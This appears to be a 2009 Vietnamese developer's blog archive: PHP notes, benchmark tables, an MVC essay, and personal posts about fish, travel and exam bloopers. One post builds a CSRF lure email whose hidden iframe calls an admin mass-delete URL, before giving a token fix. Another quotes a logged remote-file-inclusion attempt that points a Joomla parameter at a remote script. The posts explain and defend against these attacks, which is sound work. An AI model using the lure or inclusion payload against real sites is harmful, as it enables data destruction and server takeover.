Thiên đường phải chăng là địa ngục ...
Thursday, December 10, 2009
Wednesday, October 28, 2009
isset() và empty ()
isset() và empty ()
Expression | gettype() | empty() | is_null() | isset() | boolean : if($x) |
---|---|---|---|---|---|
$x = ""; | string | TRUE | FALSE | TRUE | FALSE |
$x = null | NULL | TRUE | TRUE | FALSE | FALSE |
var $x; | NULL | TRUE | TRUE | FALSE | FALSE |
$x is undefined | NULL | TRUE | TRUE | FALSE | FALSE |
$x = array(); | array | TRUE | FALSE | TRUE | FALSE |
$x = false; | boolean | TRUE | FALSE | TRUE | FALSE |
$x = true; | boolean | FALSE | FALSE | TRUE | TRUE |
$x = 1; | integer | FALSE | FALSE | TRUE | TRUE |
$x = 42; | integer | FALSE | FALSE | TRUE | TRUE |
$x = 0; | integer | TRUE | FALSE | TRUE | FALSE |
$x = -1; | integer | FALSE | FALSE | TRUE | TRUE |
$x = "1"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "0"; | string | TRUE | FALSE | TRUE | FALSE |
$x = "-1"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "php"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "true"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "false"; | string | FALSE | FALSE | TRUE | TRUE |
TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php" | "" | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
TRUE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE |
FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE |
1 | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
0 | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE |
-1 | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
"1" | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"0" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE |
"-1" | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
NULL | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE | TRUE |
array() | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE | FALSE |
"php" | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE |
"" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE |
TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php" | "" | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
TRUE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
1 | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
0 | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
-1 | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"1" | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"0" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE |
"-1" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
NULL | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE |
array() | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE |
"php" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE |
"" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE |
Tuesday, August 18, 2009
PHP security video
PHP security video
This Tutorial covers Cross Site Scripting (XSS), Cross Site Forgery Requests (CSFR), SQL Injection, globals, and much more!
Thursday, August 13, 2009
Basic Cross-site request forgery
Basic Cross-site request forgery
Now, I'm woking with a new framework. It's a new one, so that I think it's not secured.
Assume that I'm a customer and after use this source code, if I find out any bug... what will happen if I want to be a 'bad man' not 'bat man' :))
After analyze I have an action in administrator panel.
Example, when working with customer module:
"http://our_local_server/administrator/index.php?module=loadajax&action=deleteall&table=user&fprimary=id&cond=0,%276%27&fname=etc"
Consider the bold text :
When I call this url, system will 'delete' all the item include in condition value %27 means ' label (0,'6'). The result is the item with id=6 will be deleted from database.
Ok, now I compose an email html like :
<@body>
You won $1,000,000
<@iframe src="http://our_local_server/administrator/index.php?page=loadajax&action=deleteall&table=user&fprimary=id&cond=0,%276%27&fname=etc" width="0" height="0">
<@/body>
Will you read it???
I wont. But it's only example ^^.
Send it to the administrator of site when him/her logged in.
I dont need to login or something else with this system.
The administrator will do it for me because he/she have authiencation.
Imagine if I call an url in a loop :
for($i=0;$i<=999999;++$i) { //call the action url here }
What will happen :D
Solution: Assign a token value for any action.
Example:
index.php?page=loadajax&action=deleteall&table=user&fprimary=id&cond=0,%276%27&fname=etc&token=10d3612ccee6f20d650288855624f9ad
And check this token before execute any action.
Tuesday, August 11, 2009
Lazy Loading to improve performance of your php code
Lazy Loading to improve performance of your php code
<?php
require '/class/Database.php';
require '/class/Common.php';
require '/class/Action.php';
require '/class/Template.php';
require '/class/Module.php';
?>
It's not good for server because php engine must load every file when execute, in case of it's not necessary.
<?php
define('CLASS_DIR', 'class/')
set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);
spl_autoload_extensions('.class.php');
spl_autoload_register();
function autoload($className)
{
include_once($className);
}
$user = new user();
?>
This message is quoted from "zend certification study guide" :">
"By default, SPL uses its own autoloader, called spl_autoload(); this built-in
function checks all include paths for filenames that match the name of the class
that needs loading in lowercase letters, followed by .inc, .php, or the exten-
sions specified using a comma-separated string as the only parameter to a call to
spl_autoload_extensions()"
Regard to function spl_autoload_extensions(), it allow you to define extension of filename.
Saturday, August 8, 2009
Betta
Betta
Lúc đó trò chơi không nhiều như bây giờ, thú chơi mình thích nhất là chăm chút cho lũ betta.
La liệt lọ chai trong nhà, rồi mỗi lần đi bắt trùn nước cho nó măm.
Rồi đến khi ấp trứng, betta con như cái đầu kim, căng mắt mới thấy chúng.
Hôm nay lượn ngoài đường đi qua hàng cá, tự dưng giật mình khi chợt nghĩ đến thú vui ngày xưa. Rẽ vào rước về 1 em dư lày :D
Thằng ku của mình màu mè y hệt, chỉ có cái đuôi chưa dài bằng. Có gắng chăm em nó cho bộ đuôi dài được như này thì :X :X :X
Được cái chọn lựa khá kĩ nên được em khá dạn người, thò tay vào trêu ẻm mà đếch có sợ, cứ ung dung đớp mồi còn tay chân gì nó mặc :|
Hôm nào rảnh phải đi kiếm mấy em Zồng halfmoon mới được, nhìn yêu lắm rồi =p~
Nhưng mà loại này nuôi ngắm thôi chứ giờ không cho tụi nó oánh nhau như hồi xưa nữa, tiếc cái đuôi tụi nó lắm. Chăm đến bao giờ mới dài và mượt được vậy :(
Để oánh nhau thì đi lượm mấy em copper, lavender với lại zồng... :D
Đuôi ngắn, thân dày vạm vỡ, mồm miệng to dày, hơn nữa trông tướng nó gấu quá :|
Demo phát fighting bọn này oánh tợn hơn cá của miền =))
Monday, August 3, 2009
Solo o_0
Solo o_0
Sunday, August 2, 2009
Metallica feat Britney spear
Metallica feat Britney spear
Khó đỡ quá =))
Saturday, August 1, 2009
Friday, July 31, 2009
Trí thông minh
Trí thông minh
Một cô tóc vàng hoe ngồi cạnh một luật sư trên máy bay. Mới nhìn thấy mái tóc của cô ta, vị luật sư đã tỏ ra khinh thường. Ông ta rủ cô gái chơi trò thử trí thông minh.
Hai người thỏa thuận sẽ đố nhau 10 câu. Nếu cô tóc vàng không trả lời được một câu, cô sẽ phải trả 5 đôla. Còn nếu vị luật sư thua, ông ta sẽ phải bỏ ra 50 đô. Vị luật sư đồng ý vì biết chắc rằng ông ta không thể thua.
Người tự cho là thông minh hỏi trước: -Khoảng cách giữa trái đất và hành tinh gần nhất là bao nhiêu?.
Chẳng nói một lời, cô tóc vàng rút ví trả ngay 5 đô, rồi hỏi: -Cái gì leo lên đồi bằng 3 chân, nhưng xuống đồi bằng 4 chân?.
Vị luật sư ngồi nghĩ mãi, nghĩ mãi, hết tra máy tính rồi lại gọi điện nhờ tư vấn, nhưng vẫn chẳng tìm ra câu trả lời. Cuối cùng, giận dữ và thất vọng, ông ta rút ra 50 đô đưa cho đối thủ.
Cô tóc vàng chẳng nói chẳng rằng đút ngay tiền vào túi. Kẻ thua cuộc nài nỉ: -Cô cho tôi biết đáp án đi nào!.
Lập tức, cô gái lại lấy ra 5 đô trả cho vị luật sư.
Thursday, July 30, 2009
Từ PHP không được sử dụng trong sản phẩm viết bằng PHP
Từ PHP không được sử dụng trong sản phẩm viết bằng PHP
Trong đó, mục 4 có ghi :
4. Products derived from this software may not be called "PHP", norSản phẩm không được đặt tên là "PHP" hoặc không có từ PHP xuất hiện trong tên.
may "PHP" appear in their name, without prior written permission
from group@php.net. You may indicate that your software works in
conjunction with PHP by saying "Foo for PHP" instead of calling
it "PHP Foo" or "phpfoo"
Vậy là phpmyadmin, phpcake, phpbb... :|, đồng loạt đi xin permission hết zồi :-j
PHP Benchmark tests
PHP Benchmark tests
PHP Benchmark tests
This article is taken from php.ltNOTE | You must keep in mind to refresh this page a few times to "catch" the right result. The numbers change sometimes drastically during each refresh. I assume that this is because of PHP's memory garbage collector that drops in randomly and also other processes that run on this machine have an influence. |
Test: READ LOOP: foreach() vs. while(list()=each()) | ||
---|---|---|
What is the best way to loop a hash array? Given is a Hash array with 100 elements, 24byte key and 10k data per entry I've chosen the large data amount to try out what happens if I reference the data with the &-ref-operator (to avoid copying). But to my surprise the loops are never faster! In tests 5 and 6 are even 10x - 30x slower !! The larger the data entrys are the slower the tests 5 and 6 get! Copying seams always faster then using the &-ref-operator. Way ??? Let me know at bs_php@users.sourceforge.net | ||
+ 411 % | 1: foreach($aHash as $val); | Total time: 6[ms] |
+ 196 % | 2: while(list(,$val) = each($aHash)); | Total time: 3[ms] |
+ 901 % | 3: foreach($aHash as $key=>$val); | Total time: 14[ms] |
+ 938 % | 4: while(list($key,$val)= each($aHash)); | Total time: 15[ms] |
+ 625 % | 5: foreach($aHash as $key=>$val) $tmp[] = &$aHash[$key]; | Total time: 10[ms] |
+ 598 % | 6: while(list($key) = each($aHash)) $tmp[]=&$aHash[$key]; | Total time: 9[ms] |
+ 200 % | 7: Get key-/ value-array: foreach($aHash as $key[]=>$val[]); | Total time: 3[ms] |
+ 100 % | 8: Get key-/ value-array: array_keys() / array_values() | Total time: 2[ms] |
+ 148 % | 9: STRANGE: This is the fasetest code when using the the &-ref-operator (to avoid copying) $key = array_keys($aHash); $size = sizeOf($key); for ($i=0; $i<$size; $i++) $tmp[] = &$aHash[$key[$i]]; | Total time: 2[ms] |
Conclusion: It must have something to do with PHP4 variable ref-count So you can safely use foreach and only use the &-ref-operator when realy needed OR (according to the link above) when passing objects to functions. (Thanx to Wayne for his help) |
Test: MODIFY LOOP: foreach() vs. while(list()=each()) | ||
---|---|---|
While the above test only reads and copies the data the question arised what would happen if I modify each value of the hash above. Again I an unexpected result. Even if I reduce the data size to 100 byte p. e. it ends up that Nr.3 is 1.5 - 2x faster. | ||
+ 602 % | 1: foreach($aHash as $key=>$val) $aHash[$key] .= "a"; | Total time: 14[ms] |
+ 134 % | 2: while(list($key) = each($aHash)) $aHash[$key] .= "a"; | Total time: 3[ms] |
+ 100 % | 3: STRANGE: This is the fasetest code : $key = array_keys($aHash); $size = sizeOf($key); for ($i=0; $i<$size; $i++) $aHash[$key[$i]] .= "a"; | Total time: 2[ms] |
Conclusion: Use foreach unless the hash is lage AND has lage data elements. In that case use variation Nr.3 . |
Test: For-loop test | ||
---|---|---|
Is it worth the effort to calculate the length of the loop in advance? E.g. "for ($i=0; $i<$size; $i++)" instead of "for ($i=0; $i | ||
+ 100 % | 1: With pre calc | Total time: 3[ms] |
+ 1021 % | 2: Without pre calc | Total time: 35[ms] |
Conclusion: The test above speeks for it self. Always calculate the length of the loop in advance! |
Test: Using the &-ref-operator as so called "alias" | ||
---|---|---|
Is a good idea to use the &-ref-operator to substitute (or alias) a complex mutidim-array? . Call 1'000x E.g. $person = &$aHach["country"]["zip"]["streat"]["number"]["name"] | ||
+ 103 % | 1: NO Aliasing. Using: $aSingleDimArray[$i] | Total time: 3[ms] |
+ 100 % | 2: Aliasing. Using: $alias = &$aSingleDimArray[$i] | Total time: 3[ms] |
+ 147 % | 3: NO Aliasing. Using: $aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"] | Total time: 5[ms] |
+ 110 % | 4: Aliasing. Using: $alias = &$aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"] | Total time: 3[ms] |
+ 208 % | 5: NO Aliasing. Using: veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"] | Total time: 7[ms] |
+ 126 % | 6: Aliasing. Using: $alias = &$veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"] | Total time: 4[ms] |
Conclusion: It seams to be ok to use aliases. It also makes the code more readabel. But I was expecting to get a lager performance gain; especially with very multdimetional arrays. |
Test: $obj = new SomeClass() vs. $obj =& new SomeClass() using the =&-ref-operator | ||
---|---|---|
Is a good idea to use the =&-ref-operator when creating a new object? Call 1'000x | ||
+ 103 % | 1: $obj = new SomeClass() | Total time: 4[ms] |
+ 100 % | 2: $obj =& new SomeClass() | Total time: 4[ms] |
+ 207 % | 3: $obj =& $someClass->f(); | Total time: 8[ms] |
+ 135 % | 4: $obj = $someClass->f(); | Total time: 6[ms] |
Conclusion: There seams to be no difference in performance. |
Test: double (") vs. single (') quotes | ||
---|---|---|
Is a there a difference in using double (") and single (') quotes for strings. Call 1'000x | ||
+ 100 % | 1: single (') quotes. Just an empty string: $tmp[] = ''; | Total time: 1[ms] |
+ 102 % | 2: double (") quotes. Just an empty string: $tmp[] = ""; | Total time: 1[ms] |
+ 114 % | 3: single (') quotes. 20 bytes Text : $tmp[] = 'aaaaaaaaaaaaaaaaaaaa'; | Total time: 1[ms] |
+ 111 % | 4: double (") quotes. 20 bytes Text : $tmp[] = "aaaaaaaaaaaaaaaaaaaa"; | Total time: 1[ms] |
+ 111 % | 5: single (') quotes. 20 bytes Text and 3x a $ : $tmp[] = 'aa $ aaaa $ aaaa $ a'; | Total time: 1[ms] |
+ 172 % | 6: double (") quotes. 20 bytes Text and 3x a $ : $tmp[] = "aa $ aaaa $ aaaa $ a"; | Total time: 2[ms] |
+ 111 % | 7: double (") quotes. 20 bytes Text and 3x a \$ : $tmp[] = "aa \$ aaaa \$ aaaa \$ a"; | Total time: 1[ms] |
Conclusion: Single and double quoted strings behave almost the same with one exception: Don't use the a lonely ($) in double quoted string unless you want to reference a PHP-var; or use (\$). |
Test: isSet() vs. empty() vs. is_array() | ||
---|---|---|
What is the performance of isSet() and empty(). Call 2'000x | ||
+ 100 % | 1: isSet() with var that was set | Total time: 1[ms] |
+ 101 % | 2: empty() with var that was set | Total time: 1[ms] |
+ 108 % | 3: isSet() with var that was *not* set | Total time: 1[ms] |
+ 101 % | 4: empty() with var that was *not* set | Total time: 1[ms] |
+ 127 % | 5: isSet() with array-var that was set | Total time: 2[ms] |
+ 131 % | 6: empty() with array-var that was set | Total time: 2[ms] |
+ 125 % | 7: isSet() with array-var that was *not* set | Total time: 2[ms] |
+ 126 % | 8: empty() with array-var that was *not* set | Total time: 2[ms] |
+ 140 % | 9: is_array() of an array | Total time: 2[ms] |
+ 140 % | 10: is_array() of a string | Total time: 2[ms] |
+ 343 % | 11: is_array() of a non set value | Total time: 4[ms] |
+ 115 % | 12: isSet() AND is_array() of a non set value | Total time: 1[ms] |
Conclusion: isSet() and empty() are identical. Interesting that a is_array() on a unset val is 3x slower. So alway check if val is set at all befor using type-checking. E.g. if (isSet($foo) AND is_array($foo)) |
Test: switch/case vs. if/elseif | ||
---|---|---|
Is a there a difference between switch and if elseif. Call 1'000x | ||
+ 131 % | 1: if and elseif (using ==) | Total time: 3[ms] |
+ 100 % | 2: if and elseif (using ===) | Total time: 2[ms] |
+ 107 % | 3: case | Total time: 2[ms] |
Conclusion: Using a switch/case or if/elseif is almost the same. Note that the test is unsing === and is slitly faster then using ==. |
Wednesday, July 22, 2009
Internet Explorer SUCKS
Internet Explorer SUCKS
First I used muti file upload from Fyneworks.
It's good.
The trouble came when I validate mime type of uploaded-file.
First I collected a list of mime type, you can search it from internet. And below is the list mime type that I used to validate uploaded-file:
$allow_file = array('gif','jpg','png','doc','docx','rar','zip','wma','mp3','pdf');
$allow_mime = array(
'image/gif', 'image/jpeg', 'image/png',
'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'application/x-rar-compressed', 'application/zip',
'application/octet-stream','application/force-download','image/pjpeg', //fix for suck mime of ie *_*
'audio/mpeg', 'audio/x-ms-wma',
'application/pdf'
);
zip application/zip
doc application/msword
docx application/vnd.openxmlformats-officedocument.wordprocessingml.document
jpeg image/jpeg
jpg image/jpeg
doc application/msword
mp3 audio/mpeg3
rar application/x-rar-compressed
When validate in client by javascript, it's ok.
But when validate by php, the trouble come!!!
In Firefox the mime type of uploaded-file is true.
But when i use Internet Explorer v6 to submit file, some file is missing.
What's the f*ck!ng ???
Hum,....
I've used the print_r to debug, it's really good at this instance.
Let's see:
In Firefox : All mime type are right!!!
ex:
rar => application/x-rar-compressedBut in Internet Explorer:
zip => application/zip
and
jpeg => image/jpeg
rar => application/force-downloadI have not tested all the mime type, but now I know the reason of missing file.
zip => application/octet-stream
and
jpeg => image/pjpeg
:D
Friday, July 3, 2009
Shell??
Shell??
/?mosConfig_absolute_path=http://www.aalesundby.no/.../.thumb/site.txt????Wtf???
Truy cập thử vào thì có vẻ là cái host chú này dùng cc chùa rồi bị del rồi :-j
Chú script kid nào tính chơi trò đây mà :|
Khéo phải chuyển qua xài bằng html hết quá, không cứ thấy đâu có php là tụi nó chèn.
Khổ cái stats của server quá.
Tuesday, June 23, 2009
Xả xì trét
Xả xì trét
6h lên đường
Dọc đường đi
Đến Quảng Ninh, vào đớp rồi mới ra tàu =p~
1h30 ra tàu ^0^
Tranh thủ ra mũi tàu buôn cá tí :-"
Pose cái cho nó có dấu đi chơi =)).
Cũng phải nghĩ ra ối trò mà vọc chờ tàu ra đến đảo. Mất 4h30ph chứ ít đâu :|
Đi về đi cano có chưa đến 1h cho nó tàu nhanh ạ :(
3 tác phẩm tự sướng được :
Hóng mát trước khi làm giấc chờ xe về ks :p
Nước biển ở đây trong ác
Rất sạch nữa
Hoàng hôn quá tuyệt mỗi tội tấm này chôm của bạn, chớ hôm í mình ngủ đẫy đến 8h :">
Sáng dậy quần bóng, cát bãi 1 rất sắc, chú ý :|.
Đảo này có 3 bãi thì 3 loại cát khác nhau :-j
Đường chui qua rừng thông ra bãi tắm 1
Phó nháy bị chụp :-"
Ra ca no về nhà
Trên đường về tranh thủ vợt mấy cái pic cho đủ
Trên xe về kết thúc 3 ngày đày nắng, gió và etc... goobye.
Năm sau mà có dịp mình lại ra đây tiếp, hoang sơ và sạch sẽ :x
Saturday, June 13, 2009
Xe :-"
Xe :-"
Phantom of the opera
Phantom of the opera
Is there
Inside my mind...
Friday, June 12, 2009
Những áng văn bất hủ kì thi 2009
Những áng văn bất hủ kì thi 2009
Việc chấm bài thi tốt nghiệp THPT môn Ngữ văn của giám khảo chúng tôi, đến hôm nay (11/6) đã được già nửa chặng đường...."về đích". Đồng nghiệp của chúng tôi chia sẻ: "Đi chấm văn bây giờ có nhiều cảm xúc từ bài làm của thí sinh lắm...!"
Càng cảm xúc, hồi hộp hơn, vì đây là những bài văn của lứa học sinh đầu tiên, kiểm nghiệm thành quả của chương trình phân ban. Ai cũng muốn xem chất lượng làm bài của học sinh phân ban đầu tiên này có gì khác biệt, nổi trội hơn so với các thế hệ học trò cải cách đã qua không?!
Mỗi giám khảo, thanh tra chấm thi chúng tôi đã thẩm định, đánh giá không dưới trăm bài thi, thực tế, không có gì khác mấy so với các năm trước, thuộc hệ cải cách. Bên cạnh một số ít bài văn tốt, diễn đạt hay, viết văn có cảm xúc, sáng tạo, chúng tôi còn bắt gặp vô vàn các bài văn hạn chế, yếu kém.
Biểu hiện cụ thể của nó thì cũng hết sức đa dạng, phong phú: Chữ viết cẩu thả, trình bày tệ hại, sai chính tả, câu què, câu cụt, diễn đạt, ý tứ sai lạc, vụng về, tối nghĩa, rối rắm...
Do dung lượng trang báo có hạn, ở bài viết này, chúng tôi chỉ dẫn ra những ví dụ được xem là tương đối "đặc biệt" trong các bài làm văn của thí sinh:
1 - Sai lạc đến chết người
- Lỗ Tấn, sinh năm 1985, mất năm 1963, quê quán ở tỉnh Bắc Ninh, gốc Ba Tàu, từng có 3 đời vợ, 5 người con.
- Hạ Dụ là con của bà cụ Tứ, con ruột của Tràng, từng bị trận đói năm 1945 hành hạ, đe dọa cho tơi tả, xơ xác mướp. (Sau đó, câu chuyển sang Hạ Du - một người cách mạng trong quân ái quốc. Dùng bánh bao để trị bệnh điên cho Hạ Du).
- Tô Hoài sinh năm 1920, quê Nghệ An, năm 1960 ông có 200 bài thơ và đạt kỹ luật (kỉ lục) nhà thơ Việt Nam.
- Tô Hoài là người chiến sĩ cách mạng đã từng sống và chiến đấu trên vùng đất...Tây Nguyên.
2 - Các câu văn ngây ngô... không nhịn được cười:
- Các bạn không được đọc những cuốn sách đồ trị (đồi trụy) mà nhà sách cấm nhé!
- Người xưa từng nói: "ăn gì bổ nấy". Việc đọc sách cũng vậy.
- Cho nên chúng ta hay đọc xách (sách) trong những giờ rãnh (rảnh) rỗi, chúng ta đọc không phải mằm (nằm) chổ (chỗ) này đọc, hay ngồi chổ (chỗ) kia, ngồi chổ (chỗ) nào có đủ lượng ánh xáng (sáng) chiếu vào để k (không) thể tăng cho mắt chúng ta bị cận được.
- Ông Tô Hoài đã giết chết Mỵ nhưng vì Mỵ có sức sống tiềm tàng nên cho Mỵ sống lại, để tiếp tục chung sống với Pa trá.
- Mị sinh ra trong 1 gia đình nghèo, nghèo từ trong trứng nghèo ra.
- Khi A Sử thay đồ chuẩn bị đi chơi. Mỵ cũng xin A Sử cho đi theo nhưng A Sử không cho mà còn đánh đập, trụt quần và trói Mỵ vào cái cột.
- Mỵ muốn được chơi nhảy như bao người khác. Hình dáng Mỵ đẹp tuyệt trần, đôi mắt long lanh lúc nào cũng buồn, hàm răng đẹp, gò má cao, đầu tóc dài xinh đến không thể tả được chỉ có một cái là Mỵ hơi ốm một tí mà thôi. Nhớ tới Mị là em nhớ đến những thiếu nữ Hà Nội tha thướt bên Hồ Gươm chiều chủ nhật.
- Vợ chồng thống lí đại diện cho phái ác. Hắn ức hiếp Mị, làm cho Mị không có lối thoát, còn vợ hắn thì lấy cớ đó đánh đập tàn nhẫn cho rằng Mị đụ dỗ chồng bà ta.
- Tô Hoài như đang đùa giỡn khi xây dựng Mị như vậy... Có lẽ Tô Hoài cũng đau xót. Nhưng thật khó để mà hiểu biết được một tác giả lớn Tô Hoài: vùi dập, khai mở rồi lại vùi dập. Những hy vọng sống của Mị lại bị A Sử cho đi vào ngõ hẻm.
3 - Những câu văn so sánh thuộc hàng... siêu so sánh
- Khi A Phủ đến thuê cho nhà thống lí với công việc chăn trâu, sau một thời gian qua Mị vẫn ngồi trong chuồng heo, giống một con heo đang tìm chỗ trốn mà cứ người khác.
- Người nhà Pa tra đánh cho A Phủ đến ngất sỉu (xỉu) rồi đổ nước cho tỉnh lại. Thể hiện con người nhà thống lí độc ác, dã man, đánh người đánh như con chó.
- Được thả A Phủ chạy ra khỏi nhà thống lí như một con trâu điên và vài phút do dự, sửa sang lại trang phục Mị đã chạy theo A Phủ như mây bay, gió thổi.
- Có thể thấy, việc Tô Hoài xây dựng một con người với những phẩm chất đẹp đang bị vùi dập và đang như tan chảy giống như phiến băng để trên một lò lửa, tan ra và khi chỉ còn là nước nó chỉ chờ đủ độ 100 độ c để sôi thôi.
- Sông Hương to như một con thuồng luồng đực cụp đuôi, to lớn, lượn quanh những khúc cua của đường đua công thức một...Sông Huơng với ba màu khác nhau có lúc là màu tím của gương mặt người thấm đẫm rượu say.
4 - Những dẫn chứng ví dụ... độc chiêu
- "Quê hương tôi có con sông xanh biếc.
Nước chảy mãi hai bên bờ."
Trong bài thơ Nhớ con sông quê hương của nhà thơ Tế Hanh, chúng tôi chưa bao giờ thấy có câu thơ thứ hai như thí sinh đã dẫn: "Nước chảy mãi hai bên bờ".
- "Trong tập sáng tác ca dao tục ngữ Việt Nam có câu:
Giang hồ hiểm ác anh không sợ
Chỉ sợ đường về vắng bóng em
Anh tôi đã "lấy 2 câu thơ làm của riêng". Chỉ câu nói ấy thôi mang anh đã tán được nhiều người, người ấy bây giờ mà tôi gọi là "chị hai". Đã thấy được sức hút của việc đọc sách làm cho con người ta sống vui tươi và hạnh phúc hơn".
Vừa dẫn ca dao tục ngữ, vừa chứng minh về tác dụng, ảnh hưởng của nó đối với đời sống tình cảm của anh trai mình. Đúng là một ví dụ khó ai mà nghĩ ra được!
5 - Râu ông nọ cắm cằm bà kia
- Đang giới thiệu về Tô Hoài lại chuyển sang nói về Tố Hữu; chẳng ăn nhập vào đâu: "Tô Hoài là một trong những cây bút văn xuôi hay nhất nền thơ ca Việt Nam hiện đại. Thơ Tố Hữu trữ tình lãng mạn luôn nói về những số phận đâu (đau) thương của con người và lên án sự bất công của các thế mạnh đã đem đến cho con người."
- Đề bài yêu cầu làm về Vợ chồng A Phủ, thì một thí sinh lại say sưa phân tích về các nhân vật trong Vợ Nhặt của Kim Lân đến 3 trang. Giám khảo chào thua.
Thursday, June 11, 2009
Mô hình MVC: Vai trò của các thành phần và các vấn đề thiết kế trong các Web Framework
Mô hình MVC: Vai trò của các thành phần và các vấn đề thiết kế trong các Web Framework
@since July 26, 2008
@version 1.0.0
@link http://dev.wvb.com/pubdocs/software_design/mvc.txt
@note Tài liệu được viết trên Notepad (plain text) và xem tốt trên font Courrier New và encoding UTF-8 ở chế độ Word-wrap. Firefox hỗ trợ Wordwrap trên màn hình View Source (Ctrl + U) , chọn View - Wrap long lines
CHANGE LOG
+ July 26, 2008: 1.0.0 - Viết lần đầu
Disclaimer: Bài viết này phản ánh quan điểm của tôi. Nó không phản ánh quan điểm của World'Vest Base hay các software architect mà tôi có dịp làm việc cùng.
----------------------------------------------------------------
MÔ HÌNH MVC TRUYỀN THỐNG TRONG CÁC WEB FRAMEWORK
----------------------------------------------------------------
Trong mô hình MVC truyền thống, Controller là thành phần đóng vai trò trung tâm trong việc tiếp nhận và chuyển tiếp yêu cầu của user đến các thành phần có liên quan trong đó có 2 bộ phận chính là Model và View. Trong đó Model đóng vai trò là thành phần cung cấp dữ liệu và các dịch vụ có liên quan đến dữ liệu. View đóng vai trò là thành phần cung cấp các logic và cấu trúc liên quan đến việc trình bày dữ liệu.
Tuy nhiên với mô hình này, Controller đóng vai trò là trung tâm điều khiển. Model không biết Controller nào sẽ lựa chọn nó. Nó là Passive Model. Tương tự, View không biết Controller nào sẽ gọi nó ra và cung cấp cho nó dữ liệu gì. Nó là Passive View. Bằng cách đó, View và Model không hề biết nhau. View và Model không biết đến Controller nhưng Controller thì lại biết cả 2 và thậm chí là cả sự phụ thuộc về dữ liệu giữa View và Model.
Như vậy trong các web framework hỗ trợ MVC truyền thống thì
CONTROLLER
Controller là các lớp điều khiển application flow, tiếp nhận user input thông qua HTTP header, chuyển tiếp nó đến các lớp phụ trách trực tiếp xử lý yêu cầu. Tùy theo cách thiết kế kế lớp mà chúng ta thường thấy Controller gồm
+ Front Controller
+ Dispatcher
+ Action Mapping
+ Action Filter
+ Action: lớp xử lý các sự kiện chính, nơi dẫn đến application flow chủ yếu (Main Event Handler)
+ Response
+ Request: xử lý một phần user input ở mức GET, POST và PUT
+ Session: xử lý một phần user input ở mức SESSION
Tùy theo user input, Controller sẽ thực hiện các phép lọc (với dịch vụ lấy từ Model), các tính toán lựa chọn (Action Mapping) dựa trên kiến trúc và cấu hình nhằm xác định thành phần lớp chính sẽ thực hiện yêu cầu của user. Đây chính là chức năng điều khiến application flow của Controller. Vì là nơi đón nhận user input cho nên thường thì các thành phần xử lý form (ví dụ ActionForm trong Struts) sẽ thuộc về Controller. Controller cũng sẽ có chức năng validate form đơn giản nhằm thực hiện chức năng điều khiển luồng của mình.
Một khi xuất hiện các Event phức tạp, như là một Observer, Controller cần bổ sung thêm các lớp mới vào để xử lý chúng theo các quy trình độc lập, giúp phân tán bớt code tập trung vào lớp Action. Do là thành phần điều phối, Controller không nhất thiết phải tương tác với Model rồi mới tương tác với View. Bất cứ lỗi ngoại lệ nào xảy ra hay một trạng thái request không mong muốn xuất hiện thì Controller có thể phản ứng bằng cách chọn View trực tiếp.
